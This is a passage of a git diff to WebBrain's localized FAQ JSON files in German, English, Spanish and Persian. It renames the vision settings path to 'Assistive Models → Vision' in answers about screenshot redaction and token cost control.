WebBrain komplett offline nutzen?\" oben.</p><p><strong>Keine Maschine, die ein visionfähiges lokales Modell betreiben kann?</strong> Ein guter Kompromiss ist ein kleines lokales Modell für Planung und Tool-Aufrufe (schnell und leicht genug für eine bescheidene CPU/GPU) gekoppelt mit einem Cloud-Anbieter für die Vision-Unteraufrufe, mit aktivierter Screenshot-Retuschiereinstellung. Sie behalten Ihr Gespräch und Seitentext auf dem Gerät, und jeder Screenshot, der zur Cloud-Vision geht, hat zuerst formularfelder und erkannte E-Mails/Telefonnummern verwischt — reduzierte Cloud-Exposition ohne Hardware für ein vollständiges lokales Vision-Modell. Konfigurieren Sie die Vision-Aufteilung unter <strong>Einstellungen → Vision</strong> (siehe \"Wie hält WebBrain Compass-LLM-Rechnungen unter Kontrolle?\" oben).</p>",
+ "faq.screenshot_redaction.a_html": "<p>Nein — es reduziert die Exposition, es ist keine Garantie. Wenn aktiviert (<strong>Einstellungen → Assistenzmodelle → Vision → Screenshot-Retuschiereinstellung</strong>, standardmäßig deaktiviert), pixelt WebBrain Formularfelder und Text, der wie eine E-Mail-Adresse oder Telefonnummer aussieht, auf jedem Screenshot <em>bevor</em> es an ein Vision-Modell gesendet wird. Die Erkennung läuft vollständig auf Ihrem Gerät über DOM-Heuristiken; es wird nichts Zusätzliches übertragen.</p><p><strong>Es ist ein Best-Effort-Ansatz mit Fail-Open.</strong> Wenn der Erkennungsdienst nicht auf einer Seite laufen kann — beispielsweise direkt nach einer Navigation, auf PDF-Betrachtern oder auf eingeschränkten Browserseiten — wird das Screenshot trotzdem <em>unretuschiert</em> gesendet, anstatt Ihre Aufgabe abzubrechen. Inhalte, die die DOM-Heuristiken nicht sehen können (auf einem Canvas gezeichneter Text, PII in Bildern, ungewöhnliche Widgets), können ebenfalls durchschlüpfen. Und die Einstellung betrifft nur Screenshots: Seiten<em>text</em>, der an das Modell gesendet wird, wird nicht retuschiert.</p><p><strong>Für vollständige Vision-Privatsphäre verwenden Sie ein lokales Modell.</strong> Mit einem Offline-Anbieter wie llama.cpp oder Ollama verlassen Screenshots und Seitentext Ihre Maschine nie, daher gibt es nichts zu retuschieren — das ist die einzige Konfiguration, bei der Privatsphäre garantiert ist. Siehe \"Kann ich WebBrain komplett offline nutzen?\" oben.</p><p><strong>Keine Maschine, die ein visionfähiges lokales Modell betreiben kann?</strong> Ein guter Kompromiss ist ein kleines lokales Modell für Planung und Tool-Aufrufe (schnell und leicht genug für eine bescheidene CPU/GPU) gekoppelt mit einem Cloud-Anbieter für die Vision-Unteraufrufe, mit aktivierter Screenshot-Retuschiereinstellung. Sie behalten Ihr Gespräch und Seitentext auf dem Gerät, und jeder Screenshot, der zur Cloud-Vision geht, hat zuerst formularfelder und erkannte E-Mails/Telefonnummern verwischt — reduzierte Cloud-Exposition ohne Hardware für ein vollständiges lokales Vision-Modell. Konfigurieren Sie die Vision-Aufteilung unter <strong>Einstellungen → Assistenzmodelle → Vision</strong> (siehe \"Wie hält WebBrain Compass-LLM-Rechnungen unter Kontrolle?\" oben).</p>",
"faq.cookies_paywalls.q": "Was macht WebBrain mit Cookie-Bannern und Paywalls?",
"faq.cookies_paywalls.a_html": "<p><strong>Cookie-Banner:</strong> WebBrain erkennt Einwilligungsbanner gängiger Frameworks (OneTrust, Cookiebot, Didomi, Quantcast, Google Funding Choices, TrustArc) und entfernt sie, bevor die Seite analysiert wird. Vorrang hat \"Alle ablehnen\" / \"Nicht-Essenzielle ablehnen\" / \"Nur Notwendige\", wenn klar sichtbar; es greift auf \"Alle akzeptieren\" zurück, anstatt im \"Vorlieben verwalten\"-Labyrinth zu verschwinden.</p><p><strong>Paywalls:</strong> WebBrain meldet die Paywall ehrlich und sagt Ihnen, was es tatsächlich sehen konnte (Überschrift, Einleitung, erste Absätze). Es versucht <strong>nicht</strong>, Paywalls zu umgehen — kein archive.today, kein 12ft.io, kein Cookie-Löschen, kein JS-Deaktivieren oder Lesemodus-Tricks. Wenn Sie den vollständigen Artikel möchten, melden Sie sich mit einem Abonnement an oder bitten Sie WebBrain, kostenlose Berichterstattung über dieselbe Geschichte zu suchen.</p>",
"faq.multilingual.q": "Unterstützt WebBrain einen Dry-Run-Modus?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "Wie hält WebBrain Compass-LLM-Rechnungen unter Kontrolle?",
- "faq.token_conscious.a_html": "<p>Drei unabhängige Schichten:</p><p><strong>Token-bewachte Screenshots.</strong> Bevor ein Bild Ihre Maschine verlässt, skaliert WebBrain es herunter (kurze Seite begrenzt, Seitenverhältnis beibehalten) und komprimiert es iterativ JPEG, bis es in ein pro-Durchgang Bild-Token-Budget passt. Ein 2000×1200-Screenshot, das Sie ~1.500 Eingabe-Tokens auf GPT-4o kosten würde, wird auf ~300–500 Tokens komprimiert, ohne praktische Einbußen für Seitenlese-Aufgaben. Implementiert in <code>_fitImageDimensions</code> mit Unit-Tests für die Budget-Berechnung.</p><p><strong>Intelligentes Kontext-Kürzen.</strong> Gesprächshistorie, Tool-Ausgaben und Inline-DOM-Dumps werden pro Durchgang begrenzt und vom ältesten zum neuesten gekürzt, wenn das Kontextfenster des aktiven Modells sich dem Maximum nähert. Sie werden nicht sehen, dass eine Sitzung lautlos von 10k auf 100k Tokens anschwillt, weil ein <code>read_page</code> einen romanlangen Artikel zurückgab.</p><p><strong>Dediziertes Vision-Modell.</strong> Koppeln Sie ein billiges Textmodell (z.B. GPT-4o-mini) für Planung und Tool-Aufrufe mit einem separaten visionfähigen Modell (z.B. GPT-4o) nur für Screenshots, damit Sie nicht den Multimodal-Modell-Tarif bei jedem einzelnen Durchgang bezahlen. Konfigurieren Sie unter <strong>Einstellungen → Vision</strong>.</p><p>Netto-Ergebnis: Lange Sitzungen mit Cloud-Anbietern bleiben vorhersehbar. Für vollständige Kontrolle verwenden Sie llama.cpp lokal — keine Kosten pro Token.</p>",
+ "faq.token_conscious.a_html": "<p>Drei unabhängige Schichten:</p><p><strong>Token-bewachte Screenshots.</strong> Bevor ein Bild Ihre Maschine verlässt, skaliert WebBrain es herunter (kurze Seite begrenzt, Seitenverhältnis beibehalten) und komprimiert es iterativ JPEG, bis es in ein pro-Durchgang Bild-Token-Budget passt. Ein 2000×1200-Screenshot, das Sie ~1.500 Eingabe-Tokens auf GPT-4o kosten würde, wird auf ~300–500 Tokens komprimiert, ohne praktische Einbußen für Seitenlese-Aufgaben. Implementiert in <code>_fitImageDimensions</code> mit Unit-Tests für die Budget-Berechnung.</p><p><strong>Intelligentes Kontext-Kürzen.</strong> Gesprächshistorie, Tool-Ausgaben und Inline-DOM-Dumps werden pro Durchgang begrenzt und vom ältesten zum neuesten gekürzt, wenn das Kontextfenster des aktiven Modells sich dem Maximum nähert. Sie werden nicht sehen, dass eine Sitzung lautlos von 10k auf 100k Tokens anschwillt, weil ein <code>read_page</code> einen romanlangen Artikel zurückgab.</p><p><strong>Dediziertes Vision-Modell.</strong> Koppeln Sie ein billiges Textmodell (z.B. GPT-4o-mini) für Planung und Tool-Aufrufe mit einem separaten visionfähigen Modell (z.B. GPT-4o) nur für Screenshots, damit Sie nicht den Multimodal-Modell-Tarif bei jedem einzelnen Durchgang bezahlen. Konfigurieren Sie unter <strong>Einstellungen → Assistenzmodelle → Vision</strong>.</p><p>Netto-Ergebnis: Lange Sitzungen mit Cloud-Anbietern bleiben vorhersehbar. Für vollständige Kontrolle verwenden Sie llama.cpp lokal — keine Kosten pro Token.</p>",
"faq.contribute.q": "Kann ich zu WebBrain beitragen?",
"faq.contribute.a_html": "Selbstverständlich! WebBrain steht unter der GPL-3.0-or-later-Lizenz und begrüßt Beiträge. Schauen Sie im <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">GitHub-Repository</a> nach Issues, Feature-Requests und Beitrittsrichtlinien vorbei.",
"oss.title": "100% Open Source",
diff --git a/web/build/locales/en.json b/web/build/locales/en.json
index 6842e1181..fc83a7bd1 100644
--- a/web/build/locales/en.json
+++ b/web/build/locales/en.json
@@ -304,7 +304,7 @@
"faq.profile.q": "How does Profile auto-fill work, and is it safe?",
"faq.profile.a_html": "<p>Profile auto-fill is an optional feature in <strong>Settings → Profile</strong>. You enter a short bio — name, work email, company, and a <em>throwaway</em> password for low-stakes signups — and toggle it on. When enabled, WebBrain appends that text to the agent's system prompt so it can fill signup forms without asking every time.</p><p>The text is stored <strong>in plaintext</strong> in your browser's local storage. It is <strong>not</strong> transmitted to the WebBrain project, but it <strong>is</strong> sent to whichever LLM provider you have configured on every turn, as part of the system prompt. Off by default.</p><p><strong>Do not put passwords for important accounts</strong> (Google, Apple, iCloud, banking, work SSO, primary email) here. Those accounts should use 2FA and shouldn't be handed to an agent anyway. A throwaway password you reuse for newsletter signups and free trials is the intended use case.</p>",
"faq.screenshot_redaction.q": "Does the Screenshot redaction setting guarantee my private data never reaches a cloud vision model?",
- "faq.screenshot_redaction.a_html": "<p>No — it reduces exposure, it is not a guarantee. When enabled (<strong>Settings → Multimodal → Screenshot redaction</strong>, off by default), WebBrain pixelates form fields and text that looks like an email address or phone number on every screenshot <em>before</em> it is sent to a vision model. Detection runs entirely on your device using DOM heuristics; nothing extra is transmitted.</p><p><strong>It is best-effort and fail-open.</strong> If the detector cannot run on a page — for example immediately after a navigation, on PDF viewers, or on restricted browser pages — the screenshot is still sent <em>unredacted</em> rather than aborting your task. Content the DOM heuristics cannot see (text drawn on a canvas, PII inside images, unusual widgets) may also slip through. And the setting only covers screenshots: page <em>text</em> sent to the model is not redacted by it.</p><p><strong>For full vision privacy, use a local model.</strong> With an offline provider such as llama.cpp or Ollama, screenshots and page text never leave your machine, so there is nothing to redact in the first place — that is the only configuration where privacy is guaranteed. See \"Can I use WebBrain completely offline?\" above.</p><p><strong>Don't have a machine that can run a vision-capable local model?</strong> A good middle ground is a small local model for planning and tool calls (fast and light enough for a modest CPU/GPU) paired with a cloud provider for the vision sub-calls, with Screenshot redaction turned on. You still keep your conversation and page text on-device, and every screenshot that does leave for cloud vision has form fields and detected emails/phones blurred first — reduced cloud exposure without needing hardware for a full local vision model. Configure the vision split under <strong>Settings → Vision</strong> (see \"How does WebBrain keep cloud LLM bills under control?\" above).</p>",
+ "faq.screenshot_redaction.a_html": "<p>No — it reduces exposure, it is not a guarantee. When enabled (<strong>Settings → Assistive Models → Vision → Screenshot redaction</strong>, off by default), WebBrain pixelates form fields and text that looks like an email address or phone number on every screenshot <em>before</em> it is sent to a vision model. Detection runs entirely on your device using DOM heuristics; nothing extra is transmitted.</p><p><strong>It is best-effort and fail-open.</strong> If the detector cannot run on a page — for example immediately after a navigation, on PDF viewers, or on restricted browser pages — the screenshot is still sent <em>unredacted</em> rather than aborting your task. Content the DOM heuristics cannot see (text drawn on a canvas, PII inside images, unusual widgets) may also slip through. And the setting only covers screenshots: page <em>text</em> sent to the model is not redacted by it.</p><p><strong>For full vision privacy, use a local model.</strong> With an offline provider such as llama.cpp or Ollama, screenshots and page text never leave your machine, so there is nothing to redact in the first place — that is the only configuration where privacy is guaranteed. See \"Can I use WebBrain completely offline?\" above.</p><p><strong>Don't have a machine that can run a vision-capable local model?</strong> A good middle ground is a small local model for planning and tool calls (fast and light enough for a modest CPU/GPU) paired with a cloud provider for the vision sub-calls, with Screenshot redaction turned on. You still keep your conversation and page text on-device, and every screenshot that does leave for cloud vision has form fields and detected emails/phones blurred first — reduced cloud exposure without needing hardware for a full local vision model. Configure the vision split under <strong>Settings → Assistive Models → Vision</strong> (see \"How does WebBrain keep cloud LLM bills under control?\" above).</p>",
"faq.cookies_paywalls.q": "What does WebBrain do with cookie banners and paywalls?",
"faq.cookies_paywalls.a_html": "<p><strong>Cookie banners:</strong> WebBrain recognizes consent banners from common frameworks (OneTrust, Cookiebot, Didomi, Quantcast, Google Funding Choices, TrustArc) and dismisses them before reasoning about the page. Priority is \"Reject all\" / \"Reject non-essential\" / \"Only necessary\" when clearly visible; it falls back to \"Accept all\" rather than disappearing into the \"Manage preferences\" maze.</p><p><strong>Paywalls:</strong> WebBrain reports the paywall honestly and tells you what it could actually see (headline, dek, first paragraphs). It does <strong>not</strong> attempt to bypass paywalls — no archive.today, 12ft.io, cookie clearing, JS disabling, or reader-mode tricks. If you want the full article, log in with a subscription or ask WebBrain to look for free coverage of the same story.</p>",
"faq.multilingual.q": "Does WebBrain support a dry-run mode?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "How does WebBrain keep cloud LLM bills under control?",
- "faq.token_conscious.a_html": "<p>Three independent layers:</p><p><strong>Token-conscious screenshots.</strong> Before any image leaves your machine, WebBrain resizes it (shorter side capped, preserving aspect ratio) and iteratively JPEG-compresses it until it fits a per-turn image-token budget. A 2000×1200 screenshot that would cost you ~1,500 input tokens on GPT-4o gets compressed down to ~300–500 tokens with no practical loss for page-reading tasks. Implemented in <code>_fitImageDimensions</code> with unit tests for the budget math.</p><p><strong>Smart context trimming.</strong> Conversation history, tool outputs, and inline DOM dumps are bounded per turn and trimmed oldest-first when the active model's context window is approaching full. You won't see a run silently balloon from 10k tokens to 100k because a <code>read_page</code> returned a novel-length article.</p><p><strong>Dedicated vision model.</strong> Pair a cheap text model (e.g. GPT-4o-mini) for planning and tool calls with a separate vision-capable model (e.g. GPT-4o) only for screenshots, so you don't pay multimodal-model prices on every single turn. Configure under <strong>Settings → Vision</strong>.</p><p>Net result: long sessions with cloud providers stay predictable. For full control, use llama.cpp locally — zero per-token cost.</p>",
+ "faq.token_conscious.a_html": "<p>Three independent layers:</p><p><strong>Token-conscious screenshots.</strong> Before any image leaves your machine, WebBrain resizes it (shorter side capped, preserving aspect ratio) and iteratively JPEG-compresses it until it fits a per-turn image-token budget. A 2000×1200 screenshot that would cost you ~1,500 input tokens on GPT-4o gets compressed down to ~300–500 tokens with no practical loss for page-reading tasks. Implemented in <code>_fitImageDimensions</code> with unit tests for the budget math.</p><p><strong>Smart context trimming.</strong> Conversation history, tool outputs, and inline DOM dumps are bounded per turn and trimmed oldest-first when the active model's context window is approaching full. You won't see a run silently balloon from 10k tokens to 100k because a <code>read_page</code> returned a novel-length article.</p><p><strong>Dedicated vision model.</strong> Pair a cheap text model (e.g. GPT-4o-mini) for planning and tool calls with a separate vision-capable model (e.g. GPT-4o) only for screenshots, so you don't pay multimodal-model prices on every single turn. Configure under <strong>Settings → Assistive Models → Vision</strong>.</p><p>Net result: long sessions with cloud providers stay predictable. For full control, use llama.cpp locally — zero per-token cost.</p>",
"faq.contribute.q": "Can I contribute to WebBrain?",
"faq.contribute.a_html": "Absolutely! WebBrain is GPL-3.0-or-later-licensed and welcomes contributions. Check out the <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">GitHub repository</a> for issues, feature requests, and contribution guidelines.",
"oss.title": "100% Open Source",
diff --git a/web/build/locales/es.json b/web/build/locales/es.json
index b78bf3e58..74f62f059 100644
--- a/web/build/locales/es.json
+++ b/web/build/locales/es.json
@@ -304,7 +304,7 @@
"faq.profile.q": "¿Cómo funciona el autocompletado de perfil y es seguro?",
"faq.profile.a_html": "<p>El autocompletado de perfil es una función opcional en <strong>Ajustes → Perfil</strong>. Introduces una biografía breve —nombre, correo laboral, empresa y una contraseña <em>desechable</em> para registros poco importantes— y lo activas. Cuando está activo, WebBrain añade ese texto al prompt del sistema del agente para que pueda rellenar formularios de registro sin preguntar cada vez.</p><p>El texto se guarda <strong>en texto plano</strong> en el almacenamiento local del navegador. <strong>No</strong> se transmite al proyecto WebBrain, pero <strong>sí</strong> se envía al proveedor de LLM que tengas configurado en cada turno, como parte del prompt del sistema. Desactivado por defecto.</p><p><strong>No pongas aquí contraseñas de cuentas importantes</strong> (Google, Apple, iCloud, banca, SSO de trabajo, correo principal). Esas cuentas deberían usar 2FA y, de todas formas, no deberían entregarse a un agente. El uso previsto es una contraseña desechable que reutilizas para registros en boletines y pruebas gratuitas.</p>",
"faq.screenshot_redaction.q": "¿La opción de redacción de capturas de pantalla garantiza que mis datos privados nunca lleguen a un modelo de visión en la nube?",
- "faq.screenshot_redaction.a_html": "<p>No — reduce la exposición, no es una garantía. Cuando está activada (<strong>Ajustes → Multimodal → Redacción de capturas de pantalla</strong>, desactivada por defecto), WebBrain pixela los campos de formulario y el texto que parece una dirección de correo o un número de teléfono en cada captura de pantalla <em>antes</em> de enviarla a un modelo de visión. La detección se ejecuta enteramente en tu dispositivo mediante heurísticas del DOM; no se transmite nada adicional.</p><p><strong>Es best-effort y fail-open.</strong> Si el detector no puede ejecutarse en una página — por ejemplo justo después de una navegación, en visores de PDF, o en páginas restringidas del navegador — la captura se envía igualmente <em>sin redactar</em> en lugar de abortar la tarea. Contenido que las heurísticas del DOM no pueden ver (texto dibujado en un canvas, datos personales dentro de imágenes, widgets poco comunes) también puede colarse. Y el ajuste solo cubre capturas de pantalla: el <em>texto</em> de la página enviado al modelo no se redacta con él.</p><p><strong>Para privacidad total en visión, usa un modelo local.</strong> Con un proveedor sin conexión como llama.cpp u Ollama, las capturas y el texto de la página nunca salen de tu equipo, así que no hay nada que redactar en primer lugar — esa es la única configuración en la que la privacidad está garantizada. Consulta \"¿Puedo usar WebBrain totalmente sin conexión?\" más arriba.</p><p><strong>¿No tienes un equipo capaz de ejecutar un modelo local con visión?</strong> Un buen término medio es un modelo local pequeño para planificar y llamar herramientas (suficientemente ligero para una CPU/GPU modesta) combinado con un proveedor en la nube para las subllamadas de visión, con la Redacción de capturas de pantalla activada. Sigues manteniendo tu conversación y el texto de la página en tu dispositivo, y cada captura que sí sale hacia la visión en la nube ya tiene los campos de formulario y los correos/teléfonos detectados difuminados — menos exposición en la nube sin necesitar hardware para un modelo de visión local completo. Configura ese reparto en <strong>Ajustes → Visión</strong> (ver \"¿Cómo mantiene WebBrain controladas las facturas de los LLM en la nube?\" más arriba).</p>",
+ "faq.screenshot_redaction.a_html": "<p>No — reduce la exposición, no es una garantía. Cuando está activada (<strong>Ajustes → Modelos auxiliares → Visión → Redacción de capturas de pantalla</strong>, desactivada por defecto), WebBrain pixela los campos de formulario y el texto que parece una dirección de correo o un número de teléfono en cada captura de pantalla <em>antes</em> de enviarla a un modelo de visión. La detección se ejecuta enteramente en tu dispositivo mediante heurísticas del DOM; no se transmite nada adicional.</p><p><strong>Es best-effort y fail-open.</strong> Si el detector no puede ejecutarse en una página — por ejemplo justo después de una navegación, en visores de PDF, o en páginas restringidas del navegador — la captura se envía igualmente <em>sin redactar</em> en lugar de abortar la tarea. Contenido que las heurísticas del DOM no pueden ver (texto dibujado en un canvas, datos personales dentro de imágenes, widgets poco comunes) también puede colarse. Y el ajuste solo cubre capturas de pantalla: el <em>texto</em> de la página enviado al modelo no se redacta con él.</p><p><strong>Para privacidad total en visión, usa un modelo local.</strong> Con un proveedor sin conexión como llama.cpp u Ollama, las capturas y el texto de la página nunca salen de tu equipo, así que no hay nada que redactar en primer lugar — esa es la única configuración en la que la privacidad está garantizada. Consulta \"¿Puedo usar WebBrain totalmente sin conexión?\" más arriba.</p><p><strong>¿No tienes un equipo capaz de ejecutar un modelo local con visión?</strong> Un buen término medio es un modelo local pequeño para planificar y llamar herramientas (suficientemente ligero para una CPU/GPU modesta) combinado con un proveedor en la nube para las subllamadas de visión, con la Redacción de capturas de pantalla activada. Sigues manteniendo tu conversación y el texto de la página en tu dispositivo, y cada captura que sí sale hacia la visión en la nube ya tiene los campos de formulario y los correos/teléfonos detectados difuminados — menos exposición en la nube sin necesitar hardware para un modelo de visión local completo. Configura ese reparto en <strong>Ajustes → Modelos auxiliares → Visión</strong> (ver \"¿Cómo mantiene WebBrain controladas las facturas de los LLM en la nube?\" más arriba).</p>",
"faq.cookies_paywalls.q": "¿Qué hace WebBrain con los banners de cookies y los muros de pago?",
"faq.cookies_paywalls.a_html": "<p><strong>Banners de cookies:</strong> WebBrain reconoce banners de consentimiento de frameworks habituales (OneTrust, Cookiebot, Didomi, Quantcast, Google Funding Choices, TrustArc) y los descarta antes de razonar sobre la página. La prioridad es «Rechazar todo» / «Rechazar no esenciales» / «Solo necesarias» cuando son visibles; como recurso cae a «Aceptar todo» en lugar de desaparecer en el laberinto de «Gestionar preferencias».</p><p><strong>Muros de pago:</strong> WebBrain informa del muro de pago con honestidad y te dice lo que pudo ver (titular, subtítulo, primeros párrafos). <strong>No</strong> intenta saltarse los muros de pago — ni archive.today, ni 12ft.io, ni borrado de cookies, ni desactivación de JS, ni trucos de modo lectura. Si quieres el artículo completo, inicia sesión con una suscripción o pide a WebBrain que busque cobertura gratuita de la misma historia.</p>",
"faq.multilingual.q": "¿WebBrain tiene modo de simulación (dry-run)?",
@@ -314,7 +314,7 @@
"faq.offline_licensing.q": "Why is WebBrain 33.0.0 and later GPL-licensed?",
"faq.offline_licensing.a_html": "<p>WebBrain 33.0.0 and later is distributed under GPL-3.0-or-later because the browser extension bundles and integrates the GPL-licensed Xapian/libzim WebAssembly runtime for full-text Wikipedia ZIM search.</p><p>The extension packages include the applicable GPL notices, and complete corresponding source for the bundled runtime is published alongside each release. Releases before 33.0.0 remain MIT-licensed, and independently published subprojects and third-party components retain their stated licenses. See the <a href=\"https://github.com/webbrain-one/webbrain/blob/main/docs/offline-rag-licensing.md\" target=\"_blank\">licensing decision record</a> for details.</p>",
"faq.token_conscious.q": "¿Cómo mantiene WebBrain controladas las facturas de los LLM en la nube?",
- "faq.token_conscious.a_html": "<p>Tres capas independientes:</p><p><strong>Capturas con conciencia de tokens.</strong> Antes de que cualquier imagen salga de tu máquina, WebBrain la redimensiona (se limita el lado corto manteniendo la proporción) y la comprime iterativamente en JPEG hasta que encaja en el presupuesto de tokens de imagen por turno. Una captura de 2000×1200 que te costaría unos 1.500 tokens de entrada en GPT-4o se reduce a unos 300–500 tokens sin pérdida práctica para tareas de lectura de páginas. Implementado en <code>_fitImageDimensions</code> con pruebas unitarias del cálculo.</p><p><strong>Recorte inteligente de contexto.</strong> El historial de conversación, la salida de herramientas y los volcados inline del DOM están acotados por turno y se recortan primero los más antiguos cuando el contexto del modelo activo se acerca al límite. No verás cómo una ejecución pasa silenciosamente de 10k tokens a 100k porque un <code>read_page</code> devolvió un artículo kilométrico.</p><p><strong>Modelo de visión dedicado.</strong> Combina un modelo de texto barato (p. ej. GPT-4o-mini) para planificar y llamar a herramientas con un modelo de visión (p. ej. GPT-4o) solo para las capturas, de modo que no pagues precios de modelo multimodal en cada turno. Se configura en <strong>Ajustes → Visión</strong>.</p><p>Resultado: las sesiones largas con proveedores en la nube se mantienen predecibles. Para control total, usa llama.cpp local — coste por token cero.</p>",
+ "faq.token_conscious.a_html": "<p>Tres capas independientes:</p><p><strong>Capturas con conciencia de tokens.</strong> Antes de que cualquier imagen salga de tu máquina, WebBrain la redimensiona (se limita el lado corto manteniendo la proporción) y la comprime iterativamente en JPEG hasta que encaja en el presupuesto de tokens de imagen por turno. Una captura de 2000×1200 que te costaría unos 1.500 tokens de entrada en GPT-4o se reduce a unos 300–500 tokens sin pérdida práctica para tareas de lectura de páginas. Implementado en <code>_fitImageDimensions</code> con pruebas unitarias del cálculo.</p><p><strong>Recorte inteligente de contexto.</strong> El historial de conversación, la salida de herramientas y los volcados inline del DOM están acotados por turno y se recortan primero los más antiguos cuando el contexto del modelo activo se acerca al límite. No verás cómo una ejecución pasa silenciosamente de 10k tokens a 100k porque un <code>read_page</code> devolvió un artículo kilométrico.</p><p><strong>Modelo de visión dedicado.</strong> Combina un modelo de texto barato (p. ej. GPT-4o-mini) para planificar y llamar a herramientas con un modelo de visión (p. ej. GPT-4o) solo para las capturas, de modo que no pagues precios de modelo multimodal en cada turno. Se configura en <strong>Ajustes → Modelos auxiliares → Visión</strong>.</p><p>Resultado: las sesiones largas con proveedores en la nube se mantienen predecibles. Para control total, usa llama.cpp local — coste por token cero.</p>",
"faq.contribute.q": "¿Puedo contribuir a WebBrain?",
"faq.contribute.a_html": "¡Por supuesto! WebBrain tiene licencia GPL-3.0-or-later y acepta contribuciones. Echa un vistazo al <a href=\"https://github.com/webbrain-one/webbrain\" target=\"_blank\">repositorio de GitHub</a> para ver issues, solicitudes de funciones y pautas de contribución.",
"oss.title": "100 % código abierto",
diff --git a/web/build/locales/fa.json b/web/build/locales/fa.json
index bedc7a26f..89000581d 100644
--- a/web/build/locales/fa.json
+++ b/web/build/locales/fa.json
@@ -304,7 +304,7 @@
"faq.profile.q": "پر کردن خودکار نمایه چگونه کار می کند و آیا ایمن است؟",
"faq.profile.a_html": "<p>تکمیل خودکار نمایه یک ویژگی اختیاری است <strong>تنظیمات → نمایه</strong>. شما یک بیوگرافی کوتاه را وارد می کنید - نام، ایمیل کاری، شرکت، و یک <em>دور ریختنی</em> رمز عبور برای ثبت نام های کم هزینه - و آن را روشن کنید. وقتی فعال باشد، WebBrain آن متن را به اعلان سیستم عامل اضافه می‌کند تا بتواند بدون درخواست هر بار فرم‌های ثبت نام را پر کند.</p><p>متن ذخیره می شود <strong>در متن ساده</strong> در حافظه محلی مرورگر شما. هست <strong>نه</strong> به پروژه WebBrain منتقل شد، اما آن را <strong>است</strong> به عنوان بخشی از اعلان سیستم به هر ارائه دهنده LLM که در هر نوبت پیکربندی کرده اید ارسال می شود. به طور پیش فرض خاموش است.</p><p><strong>برای حساب های مهم رمز عبور قرار ندهید</strong> (Google، Apple، iCloud، بانکداری، SSO کار، ایمیل اصلی) در اینجا. این حساب ها باید از 2FA استفاده کنند و به هر حال نباید به یک نماینده تحویل داده شوند. یک رمز عبور دور ریختنی که مجدداً برای ثبت‌نام در خبرنامه و آزمایش‌های رایگان استفاده می‌کنید، مورد استفاده مورد نظر است.</p>",
"faq.screenshot_redaction.q": "آیا تنظیم ویرایش عکس صفحه تضمین می‌کند که داده‌های خصوصی من هرگز به یک مدل دید ابری نمی‌رسند؟",
- "faq.screenshot_redaction.a_html": "<p>نه - نوردهی را کاهش می دهد، تضمینی نیست. وقتی فعال شد (<strong>تنظیمات → چند وجهی → ویرایش عکس صفحه</strong>، به طور پیش فرض خاموش است)، WebBrain فیلدها و متنی را که مانند آدرس ایمیل یا شماره تلفن در هر اسکرین شات به نظر می رسد، پیکسل می کند. <em>قبل از</em> به یک مدل بینایی فرستاده می شود. تشخیص به طور کامل بر روی دستگاه شما با استفاده از اکتشافی DOM اجرا می شود. هیچ چیز اضافی منتقل نمی شود</p><p><strong>این بهترین تلاش و شکست باز است.</strong> اگر آشکارساز نمی تواند در یک صفحه اجرا شود - به عنوان مثال بلافاصله پس از پیمایش، در بینندگان PDF یا در صفحات مرورگر محدود شده - تصویر صفحه همچنان ارسال می شود. <em>ویرایش نشده</em> به جای اینکه وظیفه خود را لغو کنید محتوایی که اکتشافی DOM نمی تواند ببیند (متن ترسیم شده روی بوم، PII درون تصاویر، ویجت های غیر معمول) نیز ممکن است از بین برود. و این تنظیمات فقط تصاویر صفحه را پوشش می دهد: صفحه <em>متن</em> ارسال شده به مدل توسط آن ویرایش نشده است.</p><p><strong>برای حفظ حریم خصوصی دید کامل، از یک مدل محلی استفاده کنید.</strong> با ارائه‌دهنده آفلاینی مانند llama.cpp یا Ollama، عکس‌های صفحه و متن صفحه هرگز از دستگاه شما خارج نمی‌شوند، بنابراین در وهله اول چیزی برای ویرایش وجود ندارد - این تنها پیکربندی است که در آن حریم خصوصی تضمین می‌شود. به \"آیا می توانم از WebBrain کاملا آفلاین استفاده کنم؟\" بالا</p><p><strong>آیا ماشینی ندارید که بتواند یک مدل محلی با قابلیت بینایی را اجرا کند؟</strong> یک میانه خوب، یک مدل محلی کوچک برای برنامه‌ریزی و تماس‌های ابزاری (سریع و سبک به اندازه کافی برای یک CPU/GPU متوسط) است که با یک ارائه‌دهنده ابری برای تماس‌های فرعی ویژن جفت می‌شود، و ویرایش عکس صفحه‌نمایش روشن است. شما همچنان مکالمه و متن صفحه خود را در دستگاه نگه می دارید، و هر اسکرین شات که برای Cloud Vision باقی می ماند، فیلدهای فرم و ایمیل ها/تلفن های شناسایی شده را در ابتدا تار می کند - بدون نیاز به سخت افزار برای یک مدل دید محلی کامل، نوردهی ابر را کاهش می دهد. تقسیم بینایی را در زیر پیکربندی کنید <strong>تنظیمات → چشم انداز</strong> (به \"چگونه WebBrain صورتحساب های Cloud LLM را تحت کنترل نگه می دارد؟\" در بالا مراجعه کنید).</p>",
